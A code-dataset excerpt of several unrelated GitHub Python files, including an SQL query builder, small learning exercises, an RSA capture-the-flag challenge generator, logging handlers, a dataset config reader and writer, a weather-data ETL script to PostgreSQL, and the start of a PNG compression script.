')',\n ToSafeIdentifier(operatorstr),\n 'UPPER(' + self.ParameterPlaceHolder) + ')'\n else:\n self.querystring += DBCOLESC(statm['ColName']) + ' ' + ToSafeIdentifier(operatorstr) + ' '\n self.querystring_params += '{0} {1} {2}'.format(\n DBCOLESC(statm['ColName']),\n ToSafeIdentifier(operatorstr),\n self.ParameterPlaceHolder)\n needquotes = (type(decoval) is not float) and (type(decoval) is not int) and (type(decoval) is not bool)\n needstring = type(decoval) is not bool\n if needquotes:\n self.querystring += \"'\"\n decoval = decoval.replace(\"'\", \"\")\n elif needstring:\n decoval = ToSafeIdentifier(str(decoval))\n self.querystring += str(decoval)\n if needquotes:\n self.querystring += \"'\"\n self.queryparams.append(decoval)\n\n def _CreateSelectStatementSub(self, statm):\n if statm['Tpe'] == '':\n return #trivial query\n self.querystring += \"(\"\n self.querystring_params += \"(\"\n if (statm['Tpe'] == 'AND') or (statm['Tpe'] == 'OR'):\n self._CreateSelectStatementSub_Compound(statm)\n else:\n self._CreateSelectStatementSub_Comparison(statm)\n self.querystring += \")\"\n self.querystring_params += \")\"\n\n\n\n\n\n#unpacks an encoded 'order by' statement into an SQL statement\ndef CreateOrderByStatement(orderstr,reverse=False):\n if (len(orderstr) ==0) or orderstr == 'null':\n return \"NULL\"\n dirstr = \"\"\n if reverse: dirstr=\" DESC\"\n #note the following sql if construct is used to make sure that sorting always puts absent values at the end, which is what we want\n\n ### !!! todo: make this choice dependent on client\n # option 1 = better, slower (absent appear beneath)\n # opten 2 = sloppier, a lot faster\n# return ', '.join( [ \"IF(ISNULL({0}),1,0),{0}{1}\".format(DBCOLESC(field),dirstr) for field in orderstr.split('~') ] )\n return ', '.join( [ \"{0}{1}\".format(DBCOLESC(field), dirstr) for field in orderstr.split('~') ] )\n\ndef desciptionToDType(col_type):\n dtype = {\n 'boolean': 'i1',\n 'char': 'u1',\n 'tinyint': 'i1',\n 'smallint': 'i2',\n 'int': 'i4',\n 'bigint': 'i4', # FIXME: truncating because 64-bit is not supported in JS\n 'double': 'f8',\n 'float': 'f8',\n 'real': 'f4',\n 'wrd': 'i4', #Monet returns this type for count(*) - it is 64bit but that is not supported by JS\n 'clob': 'S',\n 'timestamp': 'S'\n }\n return dtype[col_type]","repo_name":"cggh/panoptes","sub_path":"server/DQXDbTools.py","file_name":"DQXDbTools.py","file_ext":"py","file_size_in_byte":24009,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"39"} +{"seq_id":"43103275017","text":"#import or add datetime\nfrom datetime import datetime\n\n#spy class is defined\nclass Spy:\n\n#function defination with constructor\n def __init__(self, name, salutaton, age, rating):\n self.name = name\n self.salutaton = salutaton\n self.age = age\n self.rating = rating\n self.online = True\n self.chats = []\n self.current_status_message = None\n#function defination for another class\nclass chat_message:\n\n def __init__(self,message,sent_by_me):\n self.message=message\n self.time=datetime.now()\n self.sent_by_me=sent_by_me\n\n\nspy=Spy('Shivam','Mr.',21,4.4)\n\nfriend_one=Spy('Radhe','Mr.',20,4.2)\nfriend_two=Spy('satya','Mr.',23,4.3)\nfriend_three=Spy('Puri','Mr.',22,4.5)\nfriend_four=Spy('Kullu','Mr',21,4.3)\n\nfriends=[friend_one,friend_two,friend_three,friend_four]\n\n\n\n","repo_name":"Shivam-walia/Shivam_spy","sub_path":"spy_detail.py","file_name":"spy_detail.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"13122999124","text":"l=[]\r\nfor letter in \"manoj\":\r\n l.append(letter)\r\nprint(l)\r\nm=[w for w in \"sorry\"]\r\nprint(m)\r\nsq=[r**2 for r in range(10)]\r\nprint(sq)\r\nev=[n for n in range(100) if(n%2==0)]\r\nprint(ev)\r\n\"\"\" evry no to power of 4 with double list comprehension\"\"\"\r\nfp=[i**2 for i in [j**2 for j in range(5) ] ]\r\nprint(fp)\r\nstring='manoj is good guy'\r\na=0\r\nb=0\r\nlis=[]\r\nstring=string+\" \"\r\nfor count in string:\r\n if(count==\" \"):\r\n l=string[a:b]\r\n a=b+1;\r\n lis.append(l)\r\n b=b+1;\r\nprint(lis)\r\n\r\ns=[word[0] for word in lis]\r\nprint(s)\r\nswt=[w for w in lis if(w[0]=='g')]\r\nprint(swt)","repo_name":"ManojDjs/python-3","sub_path":"listcomprehension.py","file_name":"listcomprehension.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"25641540983","text":"from Crypto.Util.number import *\nfrom secret import *\n\nm = bytes_to_long(flag)\np = getPrime(2048)\nq = getPrime(2048)\nr = inverse(pow(p, 3), q)\ns = (pow(p, 2, p * q) - pow(q, 0x10001, p * q)) % (p * q)\ne = 0x10001\nn = p * q\nassert(m < n)\nc = (pow(r * m, e, n) * inverse(s, n)) % n\nc = pow(c, 2, n)\n\nopen(\"pub.key\", \"w\").writelines(map(lambda x: x + \"\\n\", map(str, [r, s, e, n])))\nopen(\"flag.enc\", \"w\").write(str(c))\n","repo_name":"FwP-IDN/ctf-writeup-arkavidia6-pqrsen","sub_path":"challenge_attachment/prob.py","file_name":"prob.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"39"} +{"seq_id":"32516067165","text":"import sys\nif sys.version_info[:2] < (3, 2):\n from xml.sax.saxutils import escape\nelse:\n from html import escape\n\n\nWINNERS = (\"Nikolai Andrianov\", \"Matt Biondi\", \"Bjørn Dæhlie\",\n \"Birgit Fischer\", \"Sawao Kato\", \"Larisa Latynina\", \"Carl Lewis\",\n \"Michael Phelps\", \"Mark Spitz\", \"Jenny Thompson\")\n\n\ndef main():\n htmlLayout = Layout(html_tabulator)\n for rows in range(2, 6):\n print(htmlLayout.tabulate(rows, WINNERS))\n textLayout = Layout(text_tabulator)\n for rows in range(2, 6):\n print(textLayout.tabulate(rows, WINNERS))\n alternateLayout = Layout(alternate_table_row_color_html_tabulator)\n for rows in range(2, 6):\n print(alternateLayout.tabulate(rows, WINNERS))\n\n\nclass Layout:\n\n def __init__(self, tabulator):\n self.tabulate = tabulator\n\n# HOW TO PUT BREAKPOINT ON PYCHARM\n# Click on the space beside the line number of the\n# line of code you want to stop before while\n# debugging. The debugger will halt execution\n# just before the breakpoint, so that you can\n# inspect code while stepping through line-by-line\n# execution.\n\ndef html_tabulator(rows, items): # Broken!\n\n columns, remainder = divmod(len(items), rows)\n if remainder:\n columns += 1\n column = 0\n table = ['<table border=\"1\">\\n']\n for item in items:\n # Originally: 'if column != 0:'\n # Supposed to check if column counter is on zero,\n # indicating the start of a new row.\n if column == 0:\n table.append(\"<tr>\")\n table.append(\"<td>{}</td>\".format(escape(str(item))))\n column += 1\n if column == columns:\n table.append(\"</tr>\\n\")\n # Originally: 'column //= columns'\n # Supposed to reset column counter back to 0 by\n # modulo upon reaching column count limit.\n column %= columns\n if table[-1][-1] != \"\\n\":\n table.append(\"</tr>\\n\")\n table.append(\"</table>\\n\")\n return \"\".join(table)\n\n\ndef text_tabulator(rows, items):\n columns, remainder = divmod(len(items), rows)\n if remainder:\n columns += 1\n remainder = (rows * columns) - len(items)\n if remainder == columns:\n remainder = 0\n column = columnWidth = 0\n for item in items:\n columnWidth = max(columnWidth, len(item))\n columnDivider = (\"-\" * (columnWidth + 2)) + \"+\"\n divider = \"+\" + (columnDivider * columns) + \"\\n\"\n table = [divider]\n for item in items + ((\"\",) * remainder):\n if column == 0:\n table.append(\"|\")\n table.append(\" {:<{}} |\".format(item, columnWidth))\n column += 1\n if column == columns:\n table.append(\"\\n\")\n column %= columns\n table.append(divider)\n return \"\".join(table)\n\n\ndef alternate_table_row_color_html_tabulator(rows, items):\n # TODO Implement me!\n columns, remainder = divmod(len(items), rows)\n if remainder:\n columns += 1\n column = 0\n row = 0\n table = ['<table border=\"1\">\\n']\n for item in items:\n color = 'blue' if row % 2 else 'red'\n if column == 0:\n table.append(\"<tr bgcolor={}>\".format(color))\n table.append(\"<td>{}</td>\".format(escape(str(item))))\n column += 1\n if column == columns:\n table.append(\"</tr>\\n\")\n row += 1\n column %= columns\n if table[-1][-1] != \"\\n\":\n table.append(\"</tr>\\n\")\n table.append(\"</table>\\n\")\n return \"\".join(table)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chadmadna/AdvProg2016","sub_path":"week_6/tabulator.py","file_name":"tabulator.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41579591767","text":"import logging\n\n\nclass SanitizeSSNFilter(logging.Filter):\n def filter(self, record):\n def replace_ssn(value):\n return re.sub('\\d\\d\\d-\\d\\d-\\d\\d\\d\\d', 'XXX-XX-XXXX', value)\n\n record.msg = replace_ssn(record.msg)\n if record.args:\n newargs = [replace_ssn(arg) if isinstance(arg, str)\n else arg for arg in record.args]\n record.args = tuple(newargs)\n\n return 2\n\n\nclass DelayFilterer(logging.Filter):\n \"\"\" Logging filter which inserts a delay between each log record \"\"\"\n def __init__(self, delay_secs=1):\n self.delay_secs = delay_secs\n def filter(self, record):\n time.sleep(self.delay_secs)\n return True\n\n \nclass SmartMemoryHandler(logging.handlers.MemoryHandler):\n def shouldFlush(self, record):\n if record.levelno >= self.flushLevel:\n return True\n elif len(self.buffer) >= self.capacity:\n self.buffer = self.buffer[1:]\n return False\n\n \nclass DatabaseHandler(logging.Handler):\n \"\"\" Store log records in a sqlite database.\n \"\"\"\n def __init__(self, filename):\n super(DatabaseHandler, self).__init__()\n self.db = sqlite.connect(filename)\n try:\n self.db.execute(\n \"CREATE TABLE logger(record_id INTEGER PRIMARY KEY, name TEXT,\" \\\n \"asctime TEXT, level TEXT, funcName TEXT, lineno INTEGER,\" \\\n \"module TEXT, message TEXT);\")\n self.db.commit()\n\n except sqlite.OperationalError as e:\n logging.info('database filename=%s already exists', filename)\n\n\n def emit(self, record):\n if self.db:\n timestring = datetime.datetime.utcfromtimestamp(record.created).isoformat() + 'Z'\n message = record.msg % record.args\n\n self.acquire()\n try:\n self.db.execute(\"INSERT INTO logger(name, asctime, level, funcName, lineno, module, message) \" \\\n \"VALUES(?, ?, ?, ?, ?, ?, ?);\",\n (record.name, timestring, record.levelname, record.funcName, record.lineno, record.module, message))\n self.db.commit()\n finally:\n self.release()\n\n def close(self):\n self.db.close()\n self.db = None\n super(DatabaseHandler, self).close()\n","repo_name":"13excite/templates_and_tools","sub_path":"logging_filter.py","file_name":"logging_filter.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27907588758","text":"#!/usr/bin/env python3\n# Program otestuje, zda je zadane cislo prvocislem\n\ncislo = int(input(\"Zadejte cislo \"))\n\n\"\"\"\n# 1/ pomoci for cyklu s pomocnou promennou\nmamDelitele = False\nfor i in range(2, cislo):\n if cislo%i == 0:\n print(\"Cislo \", cislo, \"neni prvocislo\")\n mamDelitele = True\n break\nif not mamDelitele: # ekvivalentni s mamDelitele == False\n print(\"Cislo \", cislo, \"je prvocislo\")\n\"\"\"\n\n# 2/ pomoci while-else (neni nutna pomocna promenna) \ni = 2\nwhile i*i <= cislo:\n if cislo%i == 0:\n print(\"Cislo \", cislo, \"neni prvocislo\")\n break\n i += 1\nelse:\n print(\"Cislo \", cislo, \"je prvocislo\")\n","repo_name":"faltovaj/Programovani1","sub_path":"Lekce4_prvocisla/prvocislo.py","file_name":"prvocislo.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31720884336","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import str\nfrom builtins import object\nimport csv\nimport os\nimport sys\nimport urllib.request, urllib.error, urllib.parse\nimport http.client\nfrom cache import getCache\n\nimport uuid\nfrom os import path, listdir\nfrom os.path import join\n\nfrom os.path import exists\n\nimport xmltodict\nfrom responders.importer import ImpUtils\nfrom simplejson import load, loads, dumps\nfrom .PanoptesConfig import PanoptesConfig\nfrom .SettingsDataset import SettingsDataset\nfrom .SettingsDataTable import SettingsDataTable\nfrom .Settings2Dtable import Settings2Dtable\nfrom .SettingsRefGenome import SettingsRefGenome\nfrom .SettingsMapLayer import SettingsMapLayer\nfrom .readChromLengths import readChromLengths\n\npnConfig = PanoptesConfig(None)\nsourceDir = join(pnConfig.getSourceDataDir(), 'datasets')\nbaseDir = pnConfig.getBaseDir()\n\ndef readSetOfSettings(dirPath, loader, wanted_names=None):\n if not path.isdir(dirPath):\n return {}\n result = {}\n for name in listdir(dirPath):\n if path.isdir(join(dirPath, name)) and (not wanted_names or name in wanted_names):\n settings_file = join(dirPath, name, 'settings')\n result[name] = loads(loader(settings_file, validate=True).serialize())\n with open(settings_file, 'r') as yaml:\n result[name]['_yaml'] = yaml.read()\n return result\n\ndef getJSONConfig(datasetId, cache=True):\n if cache:\n cache = getCache()\n cacheKey = 'config' + datasetId\n try:\n result = cache[cacheKey]\n except KeyError:\n result = readJSONConfig(datasetId)\n cache.set(cacheKey, result, expire=5*60)\n else:\n result = readJSONConfig(datasetId)\n return result\n\n\ndef readJSONConfig(datasetId):\n dataset_folder = join(sourceDir, datasetId)\n base_folder = join(baseDir, 'config', datasetId)\n if not path.isdir(dataset_folder):\n raise Exception('Error: ' + datasetId + ' is not a known dataset in the source directory')\n settings_file = join(dataset_folder, 'settings')\n settings = loads(SettingsDataset(settings_file, validate=True).serialize())\n with open(settings_file, 'r') as yaml:\n settings['_yaml'] = yaml.read()\n\n chromosomes = None\n try:\n with open(join(base_folder, 'chromosomes.json'), 'r') as f:\n chromosomes = load(f)\n except IOError:\n print('Cached chrom config not found - scanning')\n try:\n chromosomes = readChromLengths(join(dataset_folder, 'refgenome', 'refsequence.fa'))\n except IOError:\n print('refsequence.fa not found - skipping')\n\n tables = readSetOfSettings(join(dataset_folder, 'datatables'), SettingsDataTable, settings.get('DataTables'))\n cachedTables = []\n try:\n for tableId, table_config in list(tables.items()):\n config_file = join(base_folder, tableId, 'dataConfig.json')\n if exists(config_file):\n with open(config_file, 'r') as f:\n data_config = load(f)\n for prop in table_config['properties']:\n if prop['id'] in data_config:\n for key, value in list(data_config[prop['id']].items()):\n if key not in prop:\n prop[key] = value\n\n except IOError:\n print('Cached data derived config not found - skipping')\n for tableId, table_config in list(tables.items()):\n graph_file = join(base_folder, tableId, 'graphConfig.json')\n if exists(graph_file):\n with open(graph_file, 'r') as f:\n tables[tableId]['trees'] = load(f)\n\n twoDTables = readSetOfSettings(join(dataset_folder, '2D_datatables'), Settings2Dtable, settings.get('2D_DataTables'))\n genome_settings_file = join(dataset_folder, 'refgenome', 'settings')\n genome = None\n try:\n genome = loads(SettingsRefGenome(genome_settings_file, validate=True).serialize())\n except IOError:\n print('refgenome settings not found - skipping')\n if genome is not None:\n with open(genome_settings_file, 'r') as yaml:\n genome['_yaml'] = yaml.read()\n mapLayers = readSetOfSettings(join(dataset_folder, 'maps'), SettingsMapLayer)\n #As an optimisation we send index.html if it exists to avoid the inevitable request.\n try:\n with open(join(baseDir, 'Docs', datasetId, 'index.html'), 'r') as f:\n introPage = f.read()\n except IOError:\n introPage = None\n\n cachedTables = {}\n csv.field_size_limit(sys.maxsize)\n for tableId, table_config in list(tables.items()):\n if table_config['cacheTableInConfig']:\n with open(join(dataset_folder, 'datatables', tableId, 'data')) as csvfile:\n cachedTables[tableId] = list(csv.DictReader(csvfile, delimiter='\\t'))\n\n feeds = {}\n for id, url in list(settings.get('feeds').items()):\n file = None\n try:\n file = urllib.request.urlopen(url, timeout=10) # Catch URLs that timeout\n except urllib.error.HTTPError as e: # Catches pages that don't exist, etc., e.g. http://example.com/foobar\n print('urllib2.HTTPError code {} from feed ID \"{}\" when trying to open URL {}'.format(e.code, id, url))\n except urllib.error.URLError as e: # Catches websites that don't exist, etc., e.g. http://foo.bar, about:blank\n print('urllib2.URLError reason {} from feed ID \"{}\" when trying to open URL {}'.format(e.reason, id, url))\n except http.client.HTTPException as e: # Catches entirely blank pages, etc. (theoretical). See http://www.voidspace.org.uk/python/articles/urllib2.shtml#badstatusline-and-httpexception\n print('httplib.HTTPException from feed ID \"{}\" when trying to open URL {}'.format(id, url))\n except Exception as e: # Catches strings that are not URLs, etc., e.g. \"foo/bar\"\n print('Exception from feed ID \"{}\" when trying to open URL {}'.format(id, url))\n if file is not None:\n data = file.read()\n file.close()\n data = xmltodict.parse(data)\n feeds[id] = data\n\n return {\n 'cas': {'service': pnConfig.getCasService(), 'logout': pnConfig.getCasLogout()},\n 'settings': settings,\n 'chromosomes': chromosomes,\n 'tablesById': tables,\n 'twoDTablesById': twoDTables,\n 'genome': genome,\n 'mapLayers': mapLayers,\n 'docs': {'index.html': introPage},\n 'cachedTables': cachedTables,\n 'feeds': feeds\n }\n\nclass ReadOnlyErrorWriter(object):\n def __init__(self, name):\n self.name = name\n def updateAndWriteBack(self, action, updatePath, newConfig, validate=True):\n raise Exception(\"The config at:\"+'.'.join([self.name]+updatePath)+\" is read-only\")\n\nclass DocsWriter(object):\n def __init__(self, datasetId):\n self.datasetId = datasetId\n def updateAndWriteBack(self, action, path, content, validate=True):\n path = '.'.join(path)\n if action is not 'replace':\n Exception(\"Method:\" + action + \" is not implemented for docs\")\n filename = join(baseDir, 'Docs', self.datasetId, path)\n tempFileName = filename + '_tmp' + str(uuid.uuid4())\n with open(tempFileName, 'w') as tempfile:\n tempfile.write(content)\n tempfile.flush()\n os.fsync(tempfile.fileno())\n os.rename(tempFileName, filename)\n return {path: content}\n\n\ndef writeJSONConfig(datasetId, action, path, newConfig):\n cache = getCache()\n cacheKey = 'config' + datasetId\n del cache[cacheKey]\n\n dataset_folder = join(sourceDir, datasetId)\n #We have a path in the combined JSON object - we now follow the path until we hit a subset confined to one YAML handler\n writers = {\n 'settings': lambda path: (path, SettingsDataset(join(dataset_folder, 'settings'), validate=True)),\n 'chromosomes': lambda path: (path, ReadOnlyErrorWriter('chromosomes')),\n 'tablesById': lambda path: (path[1:],\n SettingsDataTable(join(dataset_folder, 'datatables', path[0], 'settings'), validate=True)),\n 'twoDTablesById': lambda path: (path[1:],\n SettingsDataTable(join(dataset_folder, '2D_datatables', path[0], 'settings'), validate=True)),\n 'genome': lambda path: (path, ReadOnlyErrorWriter('genome')), #For now as this will likely get a refactor\n 'mapLayers': lambda path: (path, ReadOnlyErrorWriter('mapLayers')), # For now as this will likely get a refactor\n 'docs': lambda path: (path, DocsWriter(datasetId))\n }\n path = path.split('.')\n (path, writer) = writers[path[0]](path[1:])\n return writer.updateAndWriteBack(action, path, newConfig, validate=True)\n\ndef writeYAMLConfig(datasetId, path, newConfig):\n cache = getCache()\n cacheKey = 'config' + datasetId\n del cache[cacheKey]\n\n dataset_folder = join(sourceDir, datasetId)\n temp_settings_filename = ImpUtils.GetTempFileName()\n with open(temp_settings_filename, 'w') as temp_settings_file:\n temp_settings_file.write(newConfig)\n validators = {\n 'settings': lambda path: (join(dataset_folder, 'settings'),\n SettingsDataset(temp_settings_filename, validate=True)),\n 'genome': lambda path: (join(dataset_folder, 'refgenome', 'settings'),\n SettingsRefGenome(temp_settings_filename, validate=True)),\n 'tablesById': lambda path: (join(dataset_folder, 'datatables', path[0], 'settings'),\n SettingsDataTable(temp_settings_filename, validate=True)),\n 'twoDTablesById': lambda path: (join(dataset_folder, '2D_datatables', path[0], 'settings'),\n SettingsDataTable(temp_settings_filename, validate=True)),\n }\n path = path.split('.')\n try:\n (settings_file, validator) = validators[path[0]](path[1:])\n #Validation happens in the validator constructor that is called in the lambda\n #So if we get here without exception thrown by validation then we can copy the new settings onto the old\n os.system('mv %s %s' % (temp_settings_filename, settings_file))\n finally:\n try:\n os.remove(temp_settings_filename)\n except OSError:\n pass\n\n","repo_name":"cggh/panoptes","sub_path":"server/responders/importer/configReadWrite.py","file_name":"configReadWrite.py","file_ext":"py","file_size_in_byte":10514,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"39"} +{"seq_id":"19097338481","text":"# -*- coding: utf-8 -*-\n\"\"\" \nCreated by saul.ramirez at 2/15/2022\n\n\"\"\"\nimport requests\nimport psycopg2\nimport pandas as pd\nimport os\nfrom geopy.geocoders import Nominatim\nimport yaml\nimport geopy\nimport logging\nfrom datetime import datetime, timedelta, timezone\nimport json\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.INFO)\n\n\nclass Metadata:\n \"\"\"\"Class Metadata to get data from openweather by APi\nand store in postgresSql as data base.\n \"\"\"\n\n _yaml_config = None # type: dict\n _locations = None # type: list\n _row = None # type: list\n _coon = None\n _row_df = None # type: pd.DataFrame\n _query = None # type: list\n\n def __init__(self,):\n \"\"\"Init method to execute when the class is Initialize\n \"\"\"\n logger.info(\"Initialize the class metadata\")\n self.process_metadata_weather()\n\n def process_metadata_weather(self) -> None:\n \"\"\"\"public method to execute all the process\n\n Returns:\n None\n \"\"\"\n self._read_yaml_file()\n self._db_connection()\n self._set_query()\n self._create_tables()\n self._get_date_window()\n self._get_geocoding_by_country()\n self._get_response_data()\n self._get_historical_response_data()\n self._process_row_data()\n self._process_highest_temperatures()\n self._process_avg_temperatures()\n\n def _read_yaml_file(self) -> None:\n \"\"\"Read the Yaml file configuration and set into the class variable\n _yaml_config\n Returns:\n None\n \"\"\"\n logger.info('Reading config yaml file ')\n path = os.path.dirname(os.path.abspath(__file__))\n yaml_file = f\"{path}/config/config.yml\"\n with open(yaml_file) as f:\n data = yaml.safe_load(f)\n\n if data:\n self._yaml_config = data\n\n def _get_date_window(self) -> int:\n \"\"\"Get the date from the last 5 days in unix timestamp\n\n Return:\n last_5_days: return the unix timestamp as integer\n \"\"\"\n date_list = []\n days = self._yaml_config.get('days')\n for i in range(1, days + 1):\n day = (datetime.utcnow() - timedelta(days=i)).timestamp()\n date_list.append(int(day))\n\n return date_list\n\n def _get_geocoding_by_country(self) -> None:\n \"\"\"get the latitude and longitude by city name and put in the class variable\n _locations\n\n Returns:\n None\n \"\"\"\n tmp = []\n geolocator = Nominatim(user_agent=__name__)\n for place in self._yaml_config.get('locations'):\n city = geolocator.geocode(place)\n city_json = {'city': city.address,\n 'lat': city.latitude,\n 'long': city.longitude}\n tmp.append(city_json)\n\n if tmp:\n self._locations = tmp\n\n def _call_api(self, days, lat, long, location):\n \"\"\"\"\n Call the open weather API and get the data from the las 5 days\n\n Args:\n days: days to get the historical data\n lat: Latitude for the location\n long: longitude for the location\n\n Return\n \"\"\"\n openweather_endpoint = self._yaml_config.get('endpoint')\n unit = self._yaml_config.get('unit')\n api = self._yaml_config.get('api')\n endpoint = f\"{openweather_endpoint}?lat={lat}&lon={long}&dt={days}&units={unit}&appid={api}\"\n\n response = requests.get(endpoint)\n if response.status_code == 200:\n response = response.text\n row = json.loads(response)\n row['location'] = location\n\n return row\n else:\n logger.error(f\"Error: {response.text}\")\n raise Exception(f\"Error: {response.text}\")\n\n def _get_response_data(self) -> None:\n \"\"\"\"Iterate the location and get the response for the API and put this as list in the class\n variable _raw\n\n Returns:\n None\n \"\"\"\n row = []\n last_5 = self._get_date_window()\n logger.info(f\"Call the Open weather API from the last {self._yaml_config.get('days')} days\")\n for city in self._locations:\n for day in last_5:\n weather = self._call_api(day, city.get('lat'), city.get('long'), city.get('city'))\n row.append(weather)\n\n if row:\n self._row = row\n\n def _insert_data(self, df, table) -> None:\n \"\"\"\"Insert data for table\n Args:\n df: dataframe with the data to insert\n table: table name to insert\n\n Return:\n None\n \"\"\"\n data = list(set([tuple(x) for x in df.to_numpy()]))\n tmp = ', '.join(\"?\" * len(df.columns))\n tmp = tmp.replace('?', '%s')\n query = f\"INSERT INTO {table} VALUES({tmp})\"\n self._execute_query(self._conn, query, data)\n\n def _process_row_data(self) -> None:\n \"\"\"\"process to insert the row data\n\n Returns:\n None\n \"\"\"\n if not self._row_df.empty:\n logger.info(\"Process and insert the row data\")\n table = \"row_data\"\n self._insert_data(self._row_df, table)\n\n def _process_highest_temperatures(self) -> None:\n \"\"\"\"Process the row data frame to get the highest temperature by location\n and insert into the table\n\n Returns:\n None\n \"\"\"\n if not self._row_df.empty:\n logger.info(\"Process and insert the highest_temperatures by location \")\n table = \"highest_temperatures\"\n tmp_df = self._row_df[['row_id', 'temp', 'row_date', 'location']]\n idx = tmp_df.groupby(['location'])['temp'].transform(max) == tmp_df['temp']\n highest = tmp_df[idx]\n self._insert_data(highest, table)\n\n def _process_avg_temperatures(self) -> None:\n \"\"\"\"Process and transform to get the avg, max,min temp per day with the locations\n and insert into the table avg_temperatures\n Returns: None\n \"\"\"\n if not self._row_df.empty:\n logger.info(\"Process and insert the avg_temperatures by day \")\n table = \"avg_temperatures\"\n tmp_df = self._row_df[['temp', 'row_date', 'location']]\n tmp_df['day'] = tmp_df['row_date'].dt.strftime('%Y/%m/%d')\n\n idx = tmp_df.groupby(['day'])['temp'].transform(max) == tmp_df['temp']\n tmp_max = tmp_df[idx]\n idx = tmp_df.groupby(['day'])['temp'].transform(min) == tmp_df['temp']\n tmp_min = tmp_df[idx]\n tmp_avg = tmp_df.groupby(['day'])['temp'].mean()\n tmp_avg = tmp_avg.reset_index()\n\n df_avg_tmp = pd.merge(tmp_min, tmp_max, on='day', how='inner', suffixes=('_min', '_max'))\n df_avg_tmp = pd.merge(df_avg_tmp, tmp_avg, on='day', how='inner')\n df_avg = df_avg_tmp[['day', 'temp', 'temp_min', 'temp_max',\n 'location_min', 'location_max']]\n\n self._insert_data(df_avg, table)\n\n def _get_historical_response_data(self) -> None:\n \"\"\"\"get the historical data from the response and put in a data frame to parser the json and order the columns\n and the convert to a list for future process\n\n Returns:\n None\n \"\"\"\n logger.info(\"get historical data from the las 5 days\")\n df = pd.DataFrame()\n for location in self._row:\n tmp_id = \"\"\n for k, v in location.items():\n\n if k in ['lat', 'lon']:\n tmp_id += str(v)\n\n if k == 'hourly':\n tmp = pd.json_normalize(v)\n tmp['id'] = tmp_id\n if k == 'location':\n tmp['location'] = v\n\n df = pd.concat([df, tmp])\n row_df = df[['id', 'temp', 'feels_like', 'pressure', 'humidity', 'dew_point', 'uvi', 'clouds', 'visibility',\n 'wind_speed', 'wind_deg', 'wind_gust', 'dt', 'location']]\n\n row_df.insert(12, 'row_date', pd.to_datetime(row_df['dt'], unit='s'))\n row_df.insert(0, 'row_id', row_df['dt'].astype(str) + row_df['id'])\n row_df = row_df.drop(columns=['id', 'dt'])\n\n if not row_df.empty:\n self._row_df = row_df\n\n def _set_query(self) -> None:\n \"\"\"\"Set query value from query.sql file in the class variable _query.\n Raise:\n Exception: if the query file is empty\n\n Returns:\n None\n \"\"\"\n path = os.path.dirname(os.path.abspath(__file__))\n query_f = f\"{path}/query/create_tables.sql\"\n\n with open(query_f, 'r') as query_in:\n query = query_in.read()\n\n query = query.split(';')\n\n if not query:\n logger.error(\"The Sql query was not define in query.sql file\")\n raise Exception(\"The Sql query was not define query file\")\n\n self._query = query\n\n def _create_tables(self) -> None:\n \"\"\"\"execute query to create tables to store weather Response for API\n\n Returns:\n None\n \"\"\"\n logger.info(\"Creating tables\")\n for query in self._query:\n self._execute_query(self._conn, query)\n\n @staticmethod\n def _execute_query(conn, query, parameter=None) -> tuple:\n \"\"\"\"Method to execute the query.\n Args:\n conn():database connection\n parameter(list): parameters for the query\n query(str): query to execute\n\n Returns:\n query_data(list): result of the query execution\n \"\"\"\n with conn.cursor() as cursor:\n try:\n if not parameter:\n cursor.execute(query)\n conn.commit()\n\n if isinstance(parameter, list):\n cursor.executemany(query, parameter)\n conn.commit()\n logger.info(\"Query execution succeeded \")\n\n except (Exception, psycopg2.DatabaseError) as error:\n logger.error(f\"Error in execute the query: {error}\")\n\n def _db_connection(self) -> None:\n \"\"\"\"Get the connection to Postgresql data base\n\n Returns:\n None\n \"\"\"\n try:\n conn = psycopg2.connect(dbname=self._yaml_config['database'].get('db'),\n user=self._yaml_config['database'].get('user'),\n password=self._yaml_config['database'].get('pass'),\n host=self._yaml_config['database'].get('host')\n )\n\n if conn:\n logger.info(\"Connected to PostgresSQL\")\n self._conn = conn\n\n except (Exception, psycopg2.Error) as error:\n logger.error(\"Error while connecting to PostgresSQL\", error)\n","repo_name":"SaulRamirezCastro/Open_weather","sub_path":"src/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":10924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"11853082492","text":"import os\nimport subprocess\n\ndef get_png_files():\n\n f = open(\"processed.txt\", \"r\")\n processed = []\n for line in f:\n processed.append(line.strip())\n\n filelist=os.listdir('PNG')\n for file in filelist[:]:\n if not(file.endswith(\".png\")):\n filelist.remove(file)\n elif file in processed:\n filelist.remove(file)\n return filelist\n\ndef write_files_to_processed(files):\n f = open(\"processed.txt\", \"a\")\n for file in files:\n f.write(file + \"\\n\")\n\ndef pngquant_args(file):\n outFile = \"\\\"./PNGQUANT/\" + file + \"\\\"\"\n args = \"pngquant.exe --quality=65-80 \\\"PNG/\" + file + \"\\\" -o \" + outFile\n return args\n\ndef optipng_args(file):\n args = \"optipng.exe -o1 -dir OptiPNG \\\"PNG/\" + file + \"\\\"\"\n return args\n\ndef pvrtextool_args(file):\n args = \"PVRTexToolCLI.exe -i \\\"PNG/\" + file + \"\\\"\" + \" -o \\\"PVR/\" + file[:file.index('.')] + \".pvr\\\" -f PVRTC1_2 -q pvrtcfast\"\n return args\n\ndef proccess_files(conversion_name, conversion_function, files):\n for file 